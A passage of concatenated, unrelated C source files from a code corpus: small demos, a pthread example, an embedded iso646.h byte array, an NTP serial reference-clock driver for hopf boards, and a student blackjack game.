local1 = 0UL;
while (local1 < 0UL) {
copy11 = *((unsigned short *)(& state[local1]) + 0);
*((unsigned short *)(& state[local1]) + 0) = *((unsigned short *)(& state[local1]) + 3);
*((unsigned short *)(& state[local1]) + 3) = copy11;
local1 += 2UL;
}
local1 = 0UL;
while (local1 < 0UL) {
state[0UL] = state[local1] + state[0UL];
local1 ++;
}
output[0UL] = state[0UL] - 724560680UL;
}
}
|
the_stack_data/76701165.c | /* 'mmap64' is the same as 'mmap', because __off64_t == __off_t. */
|
the_stack_data/54826101.c | int main() {
char x[3];
x[0] = -1;
x[1] = 2;
int y;
// comment here
y = 4;
// block comment here
return x[0] + y;
}
|
the_stack_data/82949965.c | #include <stdio.h>
int main() {
int numberOfCases;
scanf("%d", &numberOfCases);
int numberOfCats, harrysPower, weight;
for(int i = 0; i < numberOfCases; i++){
scanf(" %d %d %d", &numberOfCats, &harrysPower, &weight);
if(numberOfCats * weight <= harrysPower) printf("yes\n");
else printf("no\n");
}
return 0;
}
|
the_stack_data/187643032.c |
#include <stdio.h>
void scilab_rt_contour_i2d2i2i0d0d0s0d2i2i0_(int in00, int in01, int matrixin0[in00][in01],
int in10, int in11, double matrixin1[in10][in11],
int in20, int in21, int matrixin2[in20][in21],
int scalarin0,
double scalarin1,
double scalarin2,
char* scalarin3,
int in30, int in31, double matrixin3[in30][in31],
int in40, int in41, int matrixin4[in40][in41],
int scalarin4)
{
int i;
int j;
int val0 = 0;
double val1 = 0;
int val2 = 0;
double val3 = 0;
int val4 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%d", val0);
for (i = 0; i < in10; ++i) {
for (j = 0; j < in11; ++j) {
val1 += matrixin1[i][j];
}
}
printf("%f", val1);
for (i = 0; i < in20; ++i) {
for (j = 0; j < in21; ++j) {
val2 += matrixin2[i][j];
}
}
printf("%d", val2);
printf("%d", scalarin0);
printf("%f", scalarin1);
printf("%f", scalarin2);
printf("%s", scalarin3);
for (i = 0; i < in30; ++i) {
for (j = 0; j < in31; ++j) {
val3 += matrixin3[i][j];
}
}
printf("%f", val3);
for (i = 0; i < in40; ++i) {
for (j = 0; j < in41; ++j) {
val4 += matrixin4[i][j];
}
}
printf("%d", val4);
printf("%d", scalarin4);
}
|
the_stack_data/46515.c | /* Copyright 2020 University of Adelaide
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
void simple_init();
void simple_run();
int main(void)
{
simple_init();
simple_run();
return 0;
}
|
the_stack_data/61253.c |
extern double seno_iperbolico(double x);
void main(void) {
double x = 2;
seno_iperbolico(x);
} |
the_stack_data/1051942.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <string.h>
pthread_t tid[10];
char *ret[10];
int flag[10]={0};
// The function to be executed by all threads
void *test_thread(void *arg)
{
unsigned long i = 0;
char *msg = malloc(16);
pthread_t id = pthread_self();
if(pthread_equal(id,tid[0]) && flag[0]==0)
{
printf(" 1 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 1 ended");
flag[0]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[1]) && flag[1]==0)
{
printf(" 2 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 2 ended");
flag[1]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[2]) && flag[2]==0)
{
printf(" 3 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 3 ended");
flag[2]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[3]) && flag[3]==0)
{
printf(" 4 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 4 ended");
flag[3]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[4]) && flag[4]==0)
{
printf(" 5 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 5 ended");
flag[4]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[5]) && flag[5]==0)
{
printf(" 6 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 6 ended");
flag[5]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[6]) && flag[6]==0)
{
printf(" 7 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 7 ended");
flag[6]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[7]) && flag[7]==0)
{
printf(" 8 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 8 ended");
flag[7]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[8]) && flag[8]==0)
{
printf(" 9 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 9 ended");
flag[8]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[9]) && flag[9]==0)
{
printf(" 10 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 10 ended");
flag[9]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
for(i=0; i<(0xFFFFFFFF);i++);
}
int main()
{
int i;
pthread_t sid;
sid = pthread_self();
printf("\nThe main thread created with id %lu\n",sid);
// Let us create three threads
for (i = 0; i < 10; i++) {
if (pthread_create(&(tid[i]), NULL, test_thread, (void *)&tid)){
perror ("\npthread_create() error");
exit(1);
}
else{
pthread_join(tid[i], (void**)&(ret[i]));
printf ("%s with id %lu \n", ret[i],tid[i]);
}
}
printf ("Main Thread %lu exit\n" , pthread_self());
return 0;
}
|
the_stack_data/168894353.c | char clang_iso646_buf [] = {
47,42,61,61,61,45,45,45,45,32,105,115,111,54,52,54,
46,104,32,45,32,83,116,97,110,100,97,114,100,32,104,101,
97,100,101,114,32,102,111,114,32,97,108,116,101,114,110,97,
116,101,32,115,112,101,108,108,105,110,103,115,32,111,102,32,
111,112,101,114,97,116,111,114,115,45,45,45,61,61,61,10,
32,42,10,32,42,32,67,111,112,121,114,105,103,104,116,32,
40,99,41,32,50,48,48,56,32,69,108,105,32,70,114,105,
101,100,109,97,110,10,32,42,10,32,42,32,80,101,114,109,
105,115,115,105,111,110,32,105,115,32,104,101,114,101,98,121,
32,103,114,97,110,116,101,100,44,32,102,114,101,101,32,111,
102,32,99,104,97,114,103,101,44,32,116,111,32,97,110,121,
32,112,101,114,115,111,110,32,111,98,116,97,105,110,105,110,
103,32,97,32,99,111,112,121,10,32,42,32,111,102,32,116,
104,105,115,32,115,111,102,116,119,97,114,101,32,97,110,100,
32,97,115,115,111,99,105,97,116,101,100,32,100,111,99,117,
109,101,110,116,97,116,105,111,110,32,102,105,108,101,115,32,
40,116,104,101,32,34,83,111,102,116,119,97,114,101,34,41,
44,32,116,111,32,100,101,97,108,10,32,42,32,105,110,32,
116,104,101,32,83,111,102,116,119,97,114,101,32,119,105,116,
104,111,117,116,32,114,101,115,116,114,105,99,116,105,111,110,
44,32,105,110,99,108,117,100,105,110,103,32,119,105,116,104,
111,117,116,32,108,105,109,105,116,97,116,105,111,110,32,116,
104,101,32,114,105,103,104,116,115,10,32,42,32,116,111,32,
117,115,101,44,32,99,111,112,121,44,32,109,111,100,105,102,
121,44,32,109,101,114,103,101,44,32,112,117,98,108,105,115,
104,44,32,100,105,115,116,114,105,98,117,116,101,44,32,115,
117,98,108,105,99,101,110,115,101,44,32,97,110,100,47,111,
114,32,115,101,108,108,10,32,42,32,99,111,112,105,101,115,
32,111,102,32,116,104,101,32,83,111,102,116,119,97,114,101,
44,32,97,110,100,32,116,111,32,112,101,114,109,105,116,32,
112,101,114,115,111,110,115,32,116,111,32,119,104,111,109,32,
116,104,101,32,83,111,102,116,119,97,114,101,32,105,115,10,
32,42,32,102,117,114,110,105,115,104,101,100,32,116,111,32,
100,111,32,115,111,44,32,115,117,98,106,101,99,116,32,116,
111,32,116,104,101,32,102,111,108,108,111,119,105,110,103,32,
99,111,110,100,105,116,105,111,110,115,58,10,32,42,10,32,
42,32,84,104,101,32,97,98,111,118,101,32,99,111,112,121,
114,105,103,104,116,32,110,111,116,105,99,101,32,97,110,100,
32,116,104,105,115,32,112,101,114,109,105,115,115,105,111,110,
32,110,111,116,105,99,101,32,115,104,97,108,108,32,98,101,
32,105,110,99,108,117,100,101,100,32,105,110,10,32,42,32,
97,108,108,32,99,111,112,105,101,115,32,111,114,32,115,117,
98,115,116,97,110,116,105,97,108,32,112,111,114,116,105,111,
110,115,32,111,102,32,116,104,101,32,83,111,102,116,119,97,
114,101,46,10,32,42,10,32,42,32,84,72,69,32,83,79,
70,84,87,65,82,69,32,73,83,32,80,82,79,86,73,68,
69,68,32,34,65,83,32,73,83,34,44,32,87,73,84,72,
79,85,84,32,87,65,82,82,65,78,84,89,32,79,70,32,
65,78,89,32,75,73,78,68,44,32,69,88,80,82,69,83,
83,32,79,82,10,32,42,32,73,77,80,76,73,69,68,44,
32,73,78,67,76,85,68,73,78,71,32,66,85,84,32,78,
79,84,32,76,73,77,73,84,69,68,32,84,79,32,84,72,
69,32,87,65,82,82,65,78,84,73,69,83,32,79,70,32,
77,69,82,67,72,65,78,84,65,66,73,76,73,84,89,44,
10,32,42,32,70,73,84,78,69,83,83,32,70,79,82,32,
65,32,80,65,82,84,73,67,85,76,65,82,32,80,85,82,
80,79,83,69,32,65,78,68,32,78,79,78,73,78,70,82,
73,78,71,69,77,69,78,84,46,32,73,78,32,78,79,32,
69,86,69,78,84,32,83,72,65,76,76,32,84,72,69,10,
32,42,32,65,85,84,72,79,82,83,32,79,82,32,67,79,
80,89,82,73,71,72,84,32,72,79,76,68,69,82,83,32,
66,69,32,76,73,65,66,76,69,32,70,79,82,32,65,78,
89,32,67,76,65,73,77,44,32,68,65,77,65,71,69,83,
32,79,82,32,79,84,72,69,82,10,32,42,32,76,73,65,
66,73,76,73,84,89,44,32,87,72,69,84,72,69,82,32,
73,78,32,65,78,32,65,67,84,73,79,78,32,79,70,32,
67,79,78,84,82,65,67,84,44,32,84,79,82,84,32,79,
82,32,79,84,72,69,82,87,73,83,69,44,32,65,82,73,
83,73,78,71,32,70,82,79,77,44,10,32,42,32,79,85,
84,32,79,70,32,79,82,32,73,78,32,67,79,78,78,69,
67,84,73,79,78,32,87,73,84,72,32,84,72,69,32,83,
79,70,84,87,65,82,69,32,79,82,32,84,72,69,32,85,
83,69,32,79,82,32,79,84,72,69,82,32,68,69,65,76,
73,78,71,83,32,73,78,10,32,42,32,84,72,69,32,83,
79,70,84,87,65,82,69,46,10,32,42,10,32,42,61,61,
61,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,
45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,
45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,
45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,
45,45,45,45,45,45,45,45,61,61,61,10,32,42,47,10,
10,35,105,102,110,100,101,102,32,95,95,73,83,79,54,52,
54,95,72,10,35,100,101,102,105,110,101,32,95,95,73,83,
79,54,52,54,95,72,10,10,35,105,102,110,100,101,102,32,
95,95,99,112,108,117,115,112,108,117,115,10,35,100,101,102,
105,110,101,32,97,110,100,32,32,32,32,38,38,10,35,100,
101,102,105,110,101,32,97,110,100,95,101,113,32,38,61,10,
35,100,101,102,105,110,101,32,98,105,116,97,110,100,32,38,
10,35,100,101,102,105,110,101,32,98,105,116,111,114,32,32,
124,10,35,100,101,102,105,110,101,32,99,111,109,112,108,32,
32,126,10,35,100,101,102,105,110,101,32,110,111,116,32,32,
32,32,33,10,35,100,101,102,105,110,101,32,110,111,116,95,
101,113,32,33,61,10,35,100,101,102,105,110,101,32,111,114,
32,32,32,32,32,124,124,10,35,100,101,102,105,110,101,32,
111,114,95,101,113,32,32,124,61,10,35,100,101,102,105,110,
101,32,120,111,114,32,32,32,32,94,10,35,100,101,102,105,
110,101,32,120,111,114,95,101,113,32,94,61,10,35,101,110,
100,105,102,10,10,35,101,110,100,105,102,32,47,42,32,95,
95,73,83,79,54,52,54,95,72,32,42,47,10,
};
unsigned int clang_iso646_buf_size = sizeof(clang_iso646_buf);
|
the_stack_data/508588.c | /*
*
* refclock_hopfser.c
* - clock driver for hopf serial boards (GPS or DCF77)
*
* Date: 30.03.2000 Revision: 01.10
*
* latest source and further information can be found at:
* http://www.ATLSoft.de/ntp
*
*/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#if defined(SYS_WINNT)
#undef close
#define close closesocket
#endif
#if defined(REFCLOCK) && (defined(CLOCK_HOPF_SERIAL))
#include "ntpd.h"
#include "ntp_io.h"
#include "ntp_control.h"
#include "ntp_refclock.h"
#include "ntp_unixtime.h"
#include "ntp_stdlib.h"
#if defined HAVE_SYS_MODEM_H
# include <sys/modem.h>
# define TIOCMSET MCSETA
# define TIOCMGET MCGETA
# define TIOCM_RTS MRTS
#endif
#ifdef HAVE_TERMIOS_H
# ifdef TERMIOS_NEEDS__SVID3
# define _SVID3
# endif
# include <termios.h>
# ifdef TERMIOS_NEEDS__SVID3
# undef _SVID3
# endif
#endif
#ifdef HAVE_SYS_IOCTL_H
# include <sys/ioctl.h>
#endif
/*
* clock definitions
*/
#define DESCRIPTION "hopf Elektronik serial clock" /* Long name */
#define PRECISION (-10) /* precision assumed (about 1 ms) */
#define REFID "hopf\0" /* reference ID */
/*
* I/O definitions
*/
#define DEVICE "/dev/hopfclock%d" /* device name and unit */
#define SPEED232 B9600 /* uart speed (9600 baud) */
#define STX 0x02
#define ETX 0x03
#define CR 0x0c
#define LF 0x0a
/* parse states */
#define REC_QUEUE_EMPTY 0
#define REC_QUEUE_FULL 1
#define HOPF_OPMODE 0x0C /* operation mode mask */
#define HOPF_INVALID 0x00 /* no time code available */
#define HOPF_INTERNAL 0x04 /* internal clock */
#define HOPF_RADIO 0x08 /* radio clock */
#define HOPF_RADIOHP 0x0C /* high precision radio clock */
/*
* hopfclock unit control structure.
*/
struct hopfclock_unit {
l_fp laststamp; /* last receive timestamp */
short unit; /* NTP refclock unit number */
u_long polled; /* flag to detect noreplies */
char leap_status; /* leap second flag */
int rpt_next;
};
/*
* Function prototypes
*/
static int hopfserial_start P((int, struct peer *));
static void hopfserial_shutdown P((int, struct peer *));
static void hopfserial_receive P((struct recvbuf *));
static void hopfserial_poll P((int, struct peer *));
/* static void hopfserial_io P((struct recvbuf *)); */
/*
* Transfer vector
*/
struct refclock refclock_hopfser = {
hopfserial_start, /* start up driver */
hopfserial_shutdown, /* shut down driver */
hopfserial_poll, /* transmit poll message */
noentry, /* not used */
noentry, /* initialize driver (not used) */
noentry, /* not used */
NOFLAGS /* not used */
};
/*
* hopfserial_start - open the devices and initialize data for processing
*/
static int
hopfserial_start (
int unit,
struct peer *peer
)
{
register struct hopfclock_unit *up;
struct refclockproc *pp;
int fd;
char gpsdev[20];
#ifdef SYS_WINNT
(void) sprintf(gpsdev, "COM%d:", unit);
#else
(void) sprintf(gpsdev, DEVICE, unit);
#endif
/* LDISC_STD, LDISC_RAW
* Open serial port. Use CLK line discipline, if available.
*/
fd = refclock_open(gpsdev, SPEED232, LDISC_CLK);
if (fd <= 0) {
#ifdef DEBUG
printf("hopfSerialClock(%d) start: open %s failed\n", unit, gpsdev);
#endif
return 0;
}
msyslog(LOG_NOTICE, "hopfSerialClock(%d) fd: %d dev: %s", unit, fd,
gpsdev);
/*
* Allocate and initialize unit structure
*/
up = (struct hopfclock_unit *) emalloc(sizeof(struct hopfclock_unit));
if (!(up)) {
msyslog(LOG_ERR, "hopfSerialClock(%d) emalloc: %m",unit);
#ifdef DEBUG
printf("hopfSerialClock(%d) emalloc\n",unit);
#endif
(void) close(fd);
return (0);
}
memset((char *)up, 0, sizeof(struct hopfclock_unit));
pp = peer->procptr;
pp->unitptr = (caddr_t)up;
pp->io.clock_recv = hopfserial_receive;
pp->io.srcclock = (caddr_t)peer;
pp->io.datalen = 0;
pp->io.fd = fd;
if (!io_addclock(&pp->io)) {
#ifdef DEBUG
printf("hopfSerialClock(%d) io_addclock\n",unit);
#endif
(void) close(fd);
free(up);
return (0);
}
/*
* Initialize miscellaneous variables
*/
pp->clockdesc = DESCRIPTION;
peer->precision = PRECISION;
peer->burst = NSTAGE;
memcpy((char *)&pp->refid, REFID, 4);
up->leap_status = 0;
up->unit = (short) unit;
return (1);
}
/*
* hopfserial_shutdown - shut down the clock
*/
static void
hopfserial_shutdown (
int unit,
struct peer *peer
)
{
register struct hopfclock_unit *up;
struct refclockproc *pp;
pp = peer->procptr;
up = (struct hopfclock_unit *)pp->unitptr;
io_closeclock(&pp->io);
free(up);
}
/*
* hopfserial_receive - receive data from the serial interface
*/
static void
hopfserial_receive (
struct recvbuf *rbufp
)
{
struct hopfclock_unit *up;
struct refclockproc *pp;
struct peer *peer;
int synch; /* synchhronization indicator */
int DoW; /* Dow */
int day, month; /* ddd conversion */
/*
* Initialize pointers and read the timecode and timestamp.
*/
peer = (struct peer *)rbufp->recv_srcclock;
pp = peer->procptr;
up = (struct hopfclock_unit *)pp->unitptr;
if (up->rpt_next == 0 )
return;
up->rpt_next = 0; /* wait until next poll interval occur */
pp->lencode = (u_short)refclock_gtlin(rbufp, pp->a_lastcode, BMAX, &pp->lastrec);
if (pp->lencode == 0)
return;
sscanf(pp->a_lastcode,
#if 1
"%1x%1x%2d%2d%2d%2d%2d%2d", /* ...cr,lf */
#else
"%*c%1x%1x%2d%2d%2d%2d%2d%2d", /* stx...cr,lf,etx */
#endif
&synch,
&DoW,
&pp->hour,
&pp->minute,
&pp->second,
&day,
&month,
&pp->year);
/*
Validate received values at least enough to prevent internal
array-bounds problems, etc.
*/
if((pp->hour < 0) || (pp->hour > 23) ||
(pp->minute < 0) || (pp->minute > 59) ||
(pp->second < 0) || (pp->second > 60) /*Allow for leap seconds.*/ ||
(day < 1) || (day > 31) ||
(month < 1) || (month > 12) ||
(pp->year < 0) || (pp->year > 99)) {
/* Data out of range. */
refclock_report(peer, CEVNT_BADREPLY);
return;
}
/*
some preparations
*/
pp->day = ymd2yd(pp->year,month,day);
pp->leap=0;
/* Year-2000 check! */
/* wrap 2-digit date into 4-digit */
if(pp->year < YEAR_PIVOT) { pp->year += 100; } /* < 98 */
pp->year += 1900;
/* preparation for timecode ntpq rl command ! */
#if 0
wsprintf(pp->a_lastcode,
"STATUS: %1X%1X, DATE: %02d.%02d.%04d TIME: %02d:%02d:%02d",
synch,
DoW,
day,
month,
pp->year,
pp->hour,
pp->minute,
pp->second);
pp->lencode = strlen(pp->a_lastcode);
if ((synch && 0xc) == 0 ){ /* time ok? */
refclock_report(peer, CEVNT_BADTIME);
pp->leap = LEAP_NOTINSYNC;
return;
}
#endif
/*
* If clock has no valid status then report error and exit
*/
if ((synch & HOPF_OPMODE) == HOPF_INVALID ){ /* time ok? */
refclock_report(peer, CEVNT_BADTIME);
pp->leap = LEAP_NOTINSYNC;
return;
}
/*
* Test if time is running on internal quarz
* if CLK_FLAG1 is set, sychronize even if no radio operation
*/
if ((synch & HOPF_OPMODE) == HOPF_INTERNAL){
if ((pp->sloppyclockflag & CLK_FLAG1) == 0) {
refclock_report(peer, CEVNT_BADTIME);
pp->leap = LEAP_NOTINSYNC;
return;
}
}
if (!refclock_process(pp)) {
refclock_report(peer, CEVNT_BADTIME);
return;
}
pp->lastref = pp->lastrec;
refclock_receive(peer);
#if 0
msyslog(LOG_ERR, " D:%x D:%d D:%d",synch,pp->minute,pp->second);
#endif
record_clock_stats(&peer->srcadr, pp->a_lastcode);
return;
}
/*
* hopfserial_poll - called by the transmit procedure
*
*/
static void
hopfserial_poll (
int unit,
struct peer *peer
)
{
register struct hopfclock_unit *up;
struct refclockproc *pp;
pp = peer->procptr;
up = (struct hopfclock_unit *)pp->unitptr;
pp->polls++;
up->rpt_next = 1;
#if 0
record_clock_stats(&peer->srcadr, pp->a_lastcode);
#endif
return;
}
#else
int refclock_hopfser_bs;
#endif /* REFCLOCK */
|
the_stack_data/126702278.c | #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <stdbool.h>
#include <string.h>
typedef struct card card;
struct card
{
int value;
char *symbol;
};
typedef struct scores scores;
struct scores
{
bool is_game_finished;
bool is_player_winner;
};
void welcome_message();
void choose_bet_amount(int money);
void ft_putnbr(int nb);
char *randomize_symbol();
bool has_been_drawn(struct card new_card);
int randomize_value();
struct card randomize_card();
void print_card(struct card card);
char *symbol_to_uni(char *symbol);
bool has_been_drawn(struct card new_card);
void initialize_cards();
void add_card(int index, struct card new_card);
void play_game(int money, int bet);
char *value_to_string(int value);
void display_score(int player_score, int croupier_score);
int play_hit(int score, bool is_player);
int check_score_card_value(int score, int value);
void ask_choice(int player_score, int croupier_score, bool standed, int money, int bet);
struct scores check_win(int player_score, int croupier_score, bool standed);
int croupier_turn(int croupier_score);
bool ask_retry(int money);
struct card cards[52];
#define heart "\xE2\x99\xA5"
#define spade "\xE2\x99\xA0"
#define diamond "\xE2\x99\xA6"
#define club "\xE2\x99\xA3"
#define RED " \033[31m"
#define RESET " \033[0m"
int main()
{
int money = 100;
welcome_message();
choose_bet_amount(money);
}
void welcome_message()
{
puts(" ___________________________");
puts("| Welcome to BlackJack Game |");
puts(" ---------------------------\n");
sleep(1);
}
void choose_bet_amount(int money)
{
int bet;
puts("How much money do you want to bet\n");
scanf("%d", &bet);
if (bet > money)
{
puts("\nCan't afford this amount !");
puts("Please retry\n");
sleep(1);
choose_bet_amount(money);
}
else if (bet < 0)
{
puts("\nCan't bet negative number");
puts("Please retry\n");
sleep(1);
choose_bet_amount(money);
}
else
{
puts(" ___________________________");
printf("| you beted an amount of ");
printf("%d", bet);
puts(" |");
puts(" ---------------------------\n");
money -= bet;
}
play_game(money, bet);
}
void play_game(int money, int bet)
{
int player_score;
int croupier_score;
player_score = 0;
croupier_score = 0;
initialize_cards();
// Drawn first card
card first_card = randomize_card();
fputs("Croupier get a ", stdout);
print_card(first_card);
croupier_score = check_score_card_value(croupier_score, first_card.value);
ask_choice(player_score, croupier_score, false, money, bet);
}
void ask_choice(int player_score, int croupier_score, bool standed, int money, int bet)
{
char choice[8];
scores win;
sleep(1);
if (!standed)
{
puts("\nType \"hit\" to hit a new card, \"stand\" to stop here or \"score\" to get the score");
scanf("\n%s", choice);
if (choice[0] == 'h')
player_score = play_hit(player_score, true);
else if (choice[0] == 's' && choice[1] != 'c')
standed = true;
else if (choice[1] == 'c')
display_score(player_score, croupier_score);
}
win = check_win(player_score, croupier_score, standed);
if (!win.is_game_finished && !standed)
ask_choice(player_score, croupier_score, standed, money, bet);
else if (!win.is_game_finished && standed)
{
croupier_score = croupier_turn(croupier_score);
win = check_win(player_score, croupier_score, standed);
if (!win.is_game_finished)
ask_choice(player_score, croupier_score, standed, money, bet);
}
if (win.is_game_finished)
{
if (win.is_player_winner)
money += (bet * 2);
if (ask_retry(money))
{
initialize_cards();
choose_bet_amount(money);
}
}
}
bool ask_retry(int money)
{
char choice; // Represent the choice of the player
char str[4]; // String of the money account
sprintf(str, "%d", money);
fputs("------------", stdout);
fputs("\n\nYour wallet contains ", stdout);
fputs(str, stdout);
puts(" coins");
if (money > 0)
{
puts("\nContinue playing ? Y/n");
scanf(" %c", &choice);
}
else
puts("\nNo money left");
if (choice == 'Y')
return true;
else
return false;
}
int croupier_turn(int croupier_score)
{
sleep(1);
if (croupier_score < 17)
croupier_score = play_hit(croupier_score, false);
return croupier_score;
}
struct scores check_win(int player_score, int croupier_score, bool standed)
{
scores this;
if (player_score == 21)
{
puts("PLAYER WON");
this.is_game_finished = true;
this.is_player_winner = true;
}
else if (player_score > 21)
{
puts("PLAYER LOST");
this.is_game_finished = true;
this.is_player_winner = false;
}
else if (croupier_score == 21)
{
puts("PLAYER LOST");
this.is_game_finished = true;
this.is_player_winner = false;
}
else if (croupier_score > 21)
{
puts("PLAYER WON");
this.is_game_finished = true;
this.is_player_winner = true;
}
else if (croupier_score > 17 && player_score >= croupier_score && standed)
{
puts("PLAYER WON");
this.is_game_finished = true;
this.is_player_winner = true;
}
else if (standed && player_score < croupier_score)
{
puts("PLAYER LOST");
this.is_game_finished = true;
this.is_player_winner = false;
}
else
{
this.is_game_finished = false;
this.is_player_winner = false;
}
return this;
}
int play_hit(int score, bool is_player)
{
int score_to_add;
card drawned_card = randomize_card();
while (has_been_drawn(drawned_card))
{
drawned_card = randomize_card();
}
if (is_player)
fputs("\nPlayer get a ", stdout);
else
fputs("\nCroupier get a ", stdout);
print_card(drawned_card);
fputs("\n", stdout);
score_to_add = check_score_card_value(score, drawned_card.value);
return score += score_to_add;
}
void initialize_cards()
{
int i;
for (i = 0; i < 52; i++)
{
cards[i].value = -1;
cards[i].symbol = "empty";
}
}
void print_card(struct card card)
{
if (card.value <= 10)
ft_putnbr(card.value);
else
fputs(value_to_string(card.value), stdout);
// Change text color
if (strcmp(card.symbol, "Hearts") == 0 ||
strcmp(card.symbol, "Diamonds") == 0)
fputs(RED, stdout);
else
fputs(RESET, stdout);
puts(symbol_to_uni(card.symbol)); // Change to unicode symbol
fputs(RESET, stdout); // Reset text color
}
struct card randomize_card()
{
card this;
this.value = randomize_value();
this.symbol = randomize_symbol();
return this;
}
char *randomize_symbol()
{
int num;
srand(time(0));
num = rand() % 4;
if (num == 0)
return "Hearts";
else if (num == 1)
return "Spades";
else if (num == 2)
return "Clubs";
else
return "Diamonds";
}
int randomize_value()
{
int num;
srand(time(0));
num = (rand() % 13) + 1;
return num;
}
bool has_been_drawn(struct card new_card)
{
int i;
bool found_card = false;
int index;
for (i = 0; i < 52; i++)
{
if (cards[i].value == new_card.value &&
cards[i].symbol == new_card.symbol)
found_card = true;
else if (strcmp(cards[i].symbol, "empty") == 0 &&
cards[i].value == -1)
index = i;
}
if (found_card)
return true;
else // Card has not been drawn
{
add_card(index, new_card); // Add card to cards
return false;
}
}
void add_card(int index, struct card new_card)
{
cards[index].symbol = new_card.symbol;
cards[index].value = new_card.value;
}
void display_score(int player_score, int croupier_score)
{
fputs("\nYour score is: ", stdout);
ft_putnbr(player_score);
fputs("\n", stdout);
fputs("Croupier score is: ", stdout);
ft_putnbr(croupier_score);
fputs("\n", stdout);
}
int check_score_card_value(int score, int value)
{
int final_value;
if (value == 1)
{
if ((score + 11) > 21)
final_value = 1;
else
final_value = 11;
}
else if (value > 10)
final_value = 10;
else
final_value = value;
return final_value;
}
char *symbol_to_uni(char *symbol)
{
if (strcmp(symbol, "Hearts") == 0)
return heart;
else if (strcmp(symbol, "Spades") == 0)
return spade;
else if (strcmp(symbol, "Clubs") == 0)
return club;
else if (strcmp(symbol, "Diamonds") == 0)
return diamond;
return NULL;
}
char *value_to_string(int value)
{
if (value == 11)
return "Jack";
else if (value == 12)
return "Queen";
else
return "King";
}
void ft_putnbr(int nb)
{
if (nb < 0)
nb = -nb;
if (nb >= 10)
{
ft_putnbr(nb / 10);
ft_putnbr(nb % 10);
}
else
putchar(nb + 48);
}
|
the_stack_data/427133.c | // Projeto 001 modo 02
/*
Esse modo mostra uma quantidade padrão e definitiva de casas decimais para o modo float, de acordo com a formatação.
=> "%.3f":se refere ao tipo float com 3 casas decimais. Ex: 12.405, 1.999
*/
#include <stdio.h>
int main(){
float num;
num = 3,145948599785;
printf("Segue os resultados abaixo com quantidades determinadas de casas decimais para o valor 3.145948599785:\n");
printf("Com 06 casa decimal: %f\n", num);
printf("Com 05 casa decimal: %.5f\n", num);
printf("Com 04 casa decimal: %.4f\n", num);
printf("Com 03 casa decimal: %.3f\n", num);
printf("Com 02 casa decimal: %.2f\n", num);
printf("Com 01 casa decimal: %.1f\n", num);
printf("Com 00 casa decimal: %.0f\n", num);
printf("\n");
return 0;
} |
the_stack_data/9514029.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAXLEN 1000
int mygetline(char*,int);
char *alloc(int);
int readlines(char *lineptr[],int maxlines)
{
int len,nlines;
char *p,line[MAXLEN];
nlines=0;
while((len=mygetline(line,MAXLEN))>0)
if (nlines>=maxlines||(p=alloc(len))==NULL)
return -1;
else
{
line[len-1]='\0';
strcpy(p,line);
lineptr[nlines++]=p;
}
return nlines;
}
void writelines(char *lineptr[],int nlines)
{
int i;
for (i=0;i<nlines;i++)
printf("%s\n",lineptr[i]);
}
|
the_stack_data/81715.c | /* Code generated from eC source file: AVLTree.ec */
#if defined(_WIN32)
#define __runtimePlatform 1
#elif defined(__APPLE__)
#define __runtimePlatform 3
#else
#define __runtimePlatform 2
#endif
#if defined(__GNUC__)
typedef long long int64;
typedef unsigned long long uint64;
#ifndef _WIN32
#define __declspec(x)
#endif
#elif defined(__TINYC__)
#include <stdarg.h>
#define __builtin_va_list va_list
#define __builtin_va_start va_start
#define __builtin_va_end va_end
#ifdef _WIN32
#define strcasecmp stricmp
#define strncasecmp strnicmp
#define __declspec(x) __attribute__((x))
#else
#define __declspec(x)
#endif
typedef long long int64;
typedef unsigned long long uint64;
#else
typedef __int64 int64;
typedef unsigned __int64 uint64;
#endif
#ifdef __BIG_ENDIAN__
#define __ENDIAN_PAD(x) (8 - (x))
#else
#define __ENDIAN_PAD(x) 0
#endif
#if defined(_WIN32)
# if defined(__GNUC__) || defined(__TINYC__)
